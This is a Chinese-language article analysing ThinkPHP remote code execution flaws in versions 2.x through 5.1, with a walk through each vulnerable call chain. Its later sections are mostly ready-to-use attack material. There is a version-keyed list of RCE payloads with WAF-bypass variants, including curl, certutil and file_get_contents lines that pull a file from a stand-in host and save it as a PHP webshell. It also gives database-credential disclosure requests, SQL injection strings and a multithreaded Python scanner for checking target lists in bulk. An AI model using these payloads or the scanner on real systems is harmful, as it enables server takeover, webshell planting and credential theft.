thinkphp漏洞分析和總結

0x01 組件介紹

 

1.1 基本資訊

 

ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,遵循Apache 2開源協議發布,使用面向對象的開發結構和MVC模式,融合了Struts的思想和TagLib(標籤庫)、RoR的ORM映射和ActiveRecord模式。

 

ThinkPHP可以支援windows/Unix/Linux等伺服器環境,正式版需要PHP 5.0以上版本,支援MySql、PgSQL、Sqlite多種資料庫以及PDO擴展。

 

1.2 版本介紹

 

ThinkPHP發展至今,核心版本主要有以下幾個系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各個系列之間在程式碼實現及功能方面,有較大區別。其中ThinkPHP 2以及ThinkPHP 3系列已經停止維護,ThinkPHP 5系列現使用最多,而ThinkPHP 3系列也積累了較多的歷史用戶。版本細分如下圖所示:

 

 

0x02 高危漏洞介紹

 

通過對ThinkPHP漏洞的收集和整理,過濾出其中的高危漏洞,可以得出如下列表:

 

 

從上表數據來看,ThinkPHP 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本為2017/2018年被爆出,從2020年開始,ThinkPHP 6系列的漏洞也開始被挖掘。

 

從中可以看出,ThinkPHP近年出現的高風險漏洞主要存在於框架中的函數,這些漏洞均需要在二次開發的過程中使用了這些風險函數方可利用,所以這些漏洞更應該被稱為框架中的風險函數,且這些風險點大部分可導致SQL注入漏洞,所以,開發者在利用ThinkPHP進行Web開發的過程中,一定需要關注這些框架的歷史風險點,盡量規避這些函數或者版本,則可保證web應用的安全性。

 

0x03 漏洞利用鏈

 

3.1 暴露面梳理

 

根據ThinkPHP的歷史高危漏洞,梳理出分版本的攻擊風險點,開發人員可根據以下圖標,來規避ThinkPHP的風險版本,如下ThinkPHP暴露面腦圖。

 

 

3.2 利用鏈總結

 

基於暴露面腦圖,我們可以得出幾種可以直接利用的ThinkPHP框架漏洞利用鏈,不需要進行二次開發。

 

3.2.1 ThinkPHP 2.x/3.0 GetShell

 

 

ThinkPHP低於3.0 – GetShell

 

ThinkPHP 低版本可以使用以上漏洞執行任意系統命令,獲取伺服器許可權。

 

3.2.2 ThinkPHP 5.0 GetShell

 

 

ThinkPHP 5.0.x – GetShell

 

首先明確ThinkPHP框架系列版本。

 

根據ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x遠程程式碼執行漏洞,無需登錄,即可執行任意命令,獲取伺服器最高許可權。

 

3.2.3 ThinkPHP 5.1 GetShell

 

 

ThinkPHP 5.1.x – GetShell

 

首先明確ThinkPHP框架系列版本。

 

根據ThinkPHP版本,如是1.x版本,即可使用ThinkPHP 5.x遠程程式碼執行漏洞1,無需登錄,即可執行任意命令,獲取伺服器最高許可權。

 

如需使用ThinkPHP 5.x遠程程式碼執行漏洞2,則需要php文件中跳過報錯提示,即 文件中有語句:「error_reporting(0);」,故該漏洞在5.1.x系列版本利用需要滿足以上前提,利用較難。

 

0x04 高危利用漏洞分析

 

從高危漏洞列表中,針對ThinkPHP不需二次開發即可利用的高危漏洞進行深入分析。

 

4.1 ThinkPHP 2.x/3.0遠程程式碼執行漏洞

 

4.1.1、漏洞概要

 

漏洞名稱:ThinkPHP 2.x/3.0遠程程式碼執行

參考編號:無

威脅等級:高危

影響範圍:ThinkPHP 2.x/3.0

漏洞類型:遠程程式碼執行

利用難度:簡單

 

4.1.2、漏洞描述

 

ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的開源MVC框架。Dispatcher.class.php中res參數中使用了preg_replace的/e危險參數,使得preg_replace第二個參數就會被當做php程式碼執行,導致存在一個程式碼執行漏洞,攻擊者可以利用構造的惡意URL執行任意PHP程式碼。

 

4.1.3、漏洞分析

 

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由,我們都知道,preg_replace的/e模式,和php雙引號都能導致程式碼執行的,即漏洞觸發點在102行的解析url路徑的preg_replace函數中。程式碼如下:

 

 

該程式碼塊首先檢測路由規則,如果沒有制定規則則按照默認規則進行URL調度,在preg_replace()函數中,正則表達式中使用了/e模式,將「替換字元串」作為PHP程式碼求值,並用其結果來替換所搜索的字元串。

 

正則表達式可以簡化為「\w+/([\^\/])」,即搜索獲取「/」前後的兩個參數,$var[『\1』]=」\2」;是對數組的操作,將之前搜索到的第一個值作為新數組的鍵,將第二個值作為新數組的值,我們發現可以構造搜索到的第二個值,即可執行任意PHP程式碼,在PHP中,我們可以使用${}裡面可以執行函數,然後我們在thinkphp的url中的偶數位置使用${}格式的php程式碼,即可最終執行thinkphp任意程式碼執行漏洞,如下所示:

 

index.php?s=a/b/c/${code}

index.php?s=a/b/c/${code}/d/e/f

index.php?s=a/b/c/d/e/${code}

由於ThinkPHP存在兩種路由規則,如下所示

 

  1. //serverName/index.php/模組/控制器/操作/[參數名/參數值…]
  2. 如果不支援PATHINFO的伺服器可以使用兼容模式訪問如下:
  3. //serverName/index.php?s=/模組/控制器/操作/[參數名/參數值…]

 

也可採用 index.php/a/b/c/${code}一下形式。

 

4.2 ThinkPHP 5.x 遠程程式碼執行漏洞1

 

4.2.1、漏洞概要

 

漏洞名稱:ThinkPHP 5.0.x-5.1.x 遠程程式碼執行漏洞

參考編號:無

威脅等級:嚴重

影響範圍:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31

漏洞類型:遠程程式碼執行

利用難度:容易

 

4.2.2、漏洞描述

 

2018年12月10日,ThinkPHPv5系列發布安全更新,修復了一處可導致遠程程式碼執行的嚴重漏洞。此次漏洞由ThinkPHP v5框架程式碼問題引起,其覆蓋面廣,且可直接遠程執行任何程式碼和命令。電子商務行業、金融服務行業、互聯網遊戲行業等網站使用該ThinkPHP框架比較多,需要格外關注。由於ThinkPHP v5框架對控制器名沒有進行足夠的安全檢測,導致在沒有開啟強制路由的情況下,黑客構造特定的請求,可直接進行遠程的程式碼執行,進而獲得伺服器許可權。

 

4.2.3、漏洞分析

 

本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了對控制器名的限制,而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了對控制器名的限制。

 

 

 

從以上修補程式更新可知,該漏洞的根源在於框架對控制器名沒有進行足夠的檢測,從而會在未開啟強制路由的情況下被引入惡意外部參數,造成遠程程式碼執行漏洞。

 

由ThinkPHP的架構可知,控制器(controller)是通過url中的路由進行外部傳入的,即/index.php?s=/模組/控制器/操作/[參數名/參數值…],控制器作為可控參數,經過library/think/APP.php文件進行處理,我們跟蹤路由處理的邏輯,來完整看一下該漏洞的整體調用鏈:

 

首先在run()主函數中,url傳入後需要經過路由檢查,如下程式碼所示:

 

 

跟進 self::routeCheck 函數

 

 

在 620行中調用 $request->path() 函數,該函數位於thinkphp/library/think/Request.php文件中,在該函數中跟進到本文件的$this->pathinfo()函數,在該函數中,就進行url解析,獲取路由中的各個部分內容。

 

 

其中var_pathinfo參數即為系統默認參數,默認值為s,通過GET方法將獲取到的var_pathinfo的值,即s=/模組/控制器/操作/[參數名/參數值…]的內容送到routeCheck()函數中$path參數進行路由檢查處理。

繼續回到routeCheck()函數:

 

 

在初始化路由檢查配置之後,就進行Route::check,由以上程式碼看出,若路由尋不到對應操作,即返回$result=false,且開啟了強制路由$must的情況下,就會拋出異常,並最終進入Route::parseUrl函數,進行$path解析,以上就進入了我們的漏洞觸發點:

 

 

首先,在該函數中進行url解析,然後,進入到parseUrlPath函數,根據/進行路由地址切割,通過數組返回:

 

 

最終在parseUrl函數中,將返回的$path提取出路由,即module、controller、action,然後封裝到$route後返回:

 

 

回到thinkphp/library/think/App.php文件的run()函數:

 

 

在完成RouteCheck後,進入到exec()函數中去:

 

 

在該函數中,首先路由資訊首先進入module()函數進行檢驗,該函數首先查看該路由中的模組資訊是否存在且是否存在於禁止的模組類表中:

 

 

模組存在的話,繼續往下跟蹤,分別將模組中的controller、actionName經過處理後賦值到$instance、$action,最終$instance、$action被賦值給了$call參數。

 

 

最終$call參數進入了self::invokeMethod()進行處理:

 

 

在函數中,通過反射ReflectionMethod獲取controller(method[0])和action(method[1])對象下的方法,然後通過$args = self::bindParams($reflect, $vars);獲取到傳入參數。以上即為漏洞調用鏈。

 

我們根據Payload來進行最終攻擊鏈的總結:

 

siteserver/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

根據上面的分析,我們將路由解析為:

 

module:index

controller:think\app

action:invokefunction

 

通過上述的利用鏈,最終通過反射ReflectionMethod進入到Think/app文件中的invokefunction方法中:

 

 

通過構造參數,最終即可執行任意程式碼。

 

4.3 ThinkPHP 5.x 遠程程式碼執行漏洞2

 

4.3.1、漏洞概要

 

漏洞名稱:ThinkPHP 5.0.x-5.1.x遠程程式碼執行漏洞

參考編號:無

威脅等級:嚴重

影響範圍:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31

漏洞類型:遠程程式碼執行漏洞

利用難度:容易

 

4.3.2、漏洞描述

 

2019年1月11日,某安全團隊公布了一篇ThinkPHP 5.0.遠程程式碼執行漏洞文檔,公布了一個ThinkPHP 5.0.遠程程式碼執行漏洞。文章中的該漏洞與2018年12月的ThinkPHP 5.0.*遠程程式碼執行漏洞原理相似,攻擊者可利用該漏洞在一定條件下獲取目標伺服器的最高許可權。後經研究,在一定條件下,ThinkPHP 5.1.x版本也存在該漏洞,在滿足條件的情況下,攻擊者可利用該漏洞執行任意程式碼。

 

4.3.3、漏洞分析

 

該漏洞的漏洞關鍵點存在於thinkphp/library/think/Request.php文件中:

 

 

從程式碼中可知:

 

 

method()函數主要用於請求方法的判斷,var_method沒有通過,為可控參數,通過外部傳入,thinkphp支援配置「表單偽裝變數」,var_method在在外部的可控參數表現為_method:

 

 

由於var_method沒有做任何過濾,我們可以通過控制_method參數的值來動態調用Request類中的任意方法,通過控制$_POST的值來向調用的方法傳遞參數。由上可知,漏洞存在於method()函數中,我們就需要尋找該函數的調用鏈,來構造POC。

 

第一個構造鏈在__construct()構造方法中,該方法如下:

 

 

函數中對$option數組進行遍歷,當$option的鍵名為該類屬性時,則將該類同名的屬性賦值為$options中該鍵的對應值。因此可以構造請求如下,來實現對Request類屬性值的覆蓋,例如覆蓋filter屬性。filter屬性保存了用於全局過濾的函數。

 

再上一個漏洞分析過程中,我們跟蹤到了路由檢查self::routeCheck 函數,在過程中,會進入到thinkphp/library/think/Route.php文件中的check()函數,函數中調用了method()方法,並將函數執行結果轉換為小寫後保存在$method變數。在調用構造函數覆蓋變數時,可以直接覆蓋method,這樣上面的$method = strtolower($request->method()); 的$method最終的值就可以被控制了。

 

 

在該函數中,調用了method()函數,在該函數中,就將進行變數覆蓋:

 

 

通過調用構造函數__construct(),最終將請求參數保存到input參數。

 

 

在進行routecheck後,已完成了第一部分調用鏈,實現了變數覆蓋,接下來就是要實現變數覆蓋後的程式碼執行,具體調用鏈如下:

 

 

返回到App.php文件中的run()函數,接著進入到exec()函數中,然後進入到module()函數中,最終進入到了invokeMethod()函數,

 

 

從invokeMethod()函數中進入到bindParams()函數,然後進入到param()函數:

 

 

然後最終調用到input()函數:

 

 

最終我們根據array_walk_recursive()函數,進入到了filterValue()函數:

 

 

最終,通過回調函數call_user_func執行了程式碼,整個調用鏈如上所示。

 

 

0x05 漏洞總結

 

5.1 thinkphp 5.0.5

 

waf對eval進行了攔截
禁止了assert函數
對eval函數後面的括弧進行了正則過濾
對file_get_contents函數後面的括弧進行了正則過濾
//www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'//www.hack.com/xxx.js'))/**/;/**/?>

 

5.2 thinkphp 5.0.10

 

(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

 

5.3 thinkphp 5.0.11

 

//www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl //www.hack.com/xxx.js -o ./upload/xxx.php

 

5.4 thinkphp 5.0.14

 

eval('')和assert('')被攔截,命令函數被禁止
//www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
//www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("//www.hack.com/xxx.js")));

 

php7.2
//www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
//www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('//www.hack.com/xxx.js'));?>
寫進去發現轉義了尖括弧
通過copy函數
//www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= //www.hack.com/xxx.js&vars[1][1]=112233.php

 

5.5 thinkphp 5.0.18

 

windows
//www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
//www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()

使用certutil
//www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f //www.hack.com/xxx.js uploads/1.php
由於根目錄沒寫許可權,所以寫到uploads

 

5.6 thinkphp 5.0.21

 

//localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
//localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

5.7 thinkphp 5.0.22

 

//192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
//192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
//url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
//url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

5.8 thinkphp 5.0.23

 

(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

 

Debug模式

 

(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

5.9 thinkphp 5.1.18

 

//www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('//www.hack.com/xxx.js'));?>

 

所有目錄都無寫許可權,base64函數被攔截
//www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

 

5.10 thinkphp 5.1.*

 

//url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
//url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
//url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
//url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
//url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
//url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
//url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
//url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

 

5.11 thinkphp 5.1.*和5.2*和5.0*

 

(post)public/index.php (data)c=exec&f=calc.exe&_method=filter

 

5.12 thinkphp 未知版本

 

?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27
index.php?s=/home/user/cut/id/1%27
index.php?s=/home/service/index/id/1%27
index.php?s=/home/pay/chongzhi/orderid/1%27
index.php?s=/home/pay/index/orderid/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/detail/id/1%27
index.php?s=/home/order/cancel/id/1%27
index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+

POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

 

5.13 當php7以上無法使用Assert的時候用

 

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
有上傳圖片或者日誌用這個包含就可以

 

0x06 批量檢測腳本

 

漏洞poc:

//github.com/heroanswer/thinkphp_rce_poc

 

批量檢測腳本如下:

 

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkphp遠程程式碼檢測
description: ThinkPHP5 5.0.22/5.1.29 遠程程式碼執行漏洞
'''


import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
    def __init__(self, q):
        threading.Thread.__init__(self)
        self.q = q
    def run(self):
        while not self.q.empty():
            url=self.q.get()
            headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
            payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
            vulnurl = url + payload
            try:
                response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
                
                soup = BeautifulSoup(response.text,"lxml")
                if 'PHP Version' in str(soup.text):
                    print ('[+] Remote code execution vulnerability exists at the target address')
                    print ('[+] Vulnerability url address ' + vulnurl)
                    with open('target.txt','a') as f1:
                        f1.write(vulnurl+'\n')
                    f1.close()
                else:
                    print ('[-] There is no remote code execution vulnerability in the target address')
            except:
                print ('[!] Destination address cannot be connected')
def urlget():
    with open('url.txt','r')as f:
        urls=f.readlines()
        for tmp in urls:
            if '//' in tmp:
                url=tmp.strip('\n')
                urlList.append(url)
            else:
                url='//'+tmp.strip('\n')
                urlList.append(url)
        return(urlList)
    f.close()

if __name__=="__main__":
    print('''----------------掃描開始-------------------

*Made by  :tdcoming
*For More ://t.zsxq.com/Ai2rj6E
*MY Heart ://t.zsxq.com/A2FQFMN


              _______   _                         _               
             |__   __| | |                       (_)              
                | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                             __/ |
                                                            |___/ 
            ''')
    urlList=[]
    urlget()
    threads = []
    threads_count = 10
    q=queue.Queue()
    for url in urlList:
        q.put(url)
    for i in range(threads_count):
        threads.append(thinkphp_rce(q))
    for i in threads:
        i.start()
    for i in threads:
        i.join()

 

使用方法:

 

1、將要檢測的目標放在url.txt裡面

2、如果存在漏洞的地址將自動生成一個target.txt文本保存

 

 

Tags: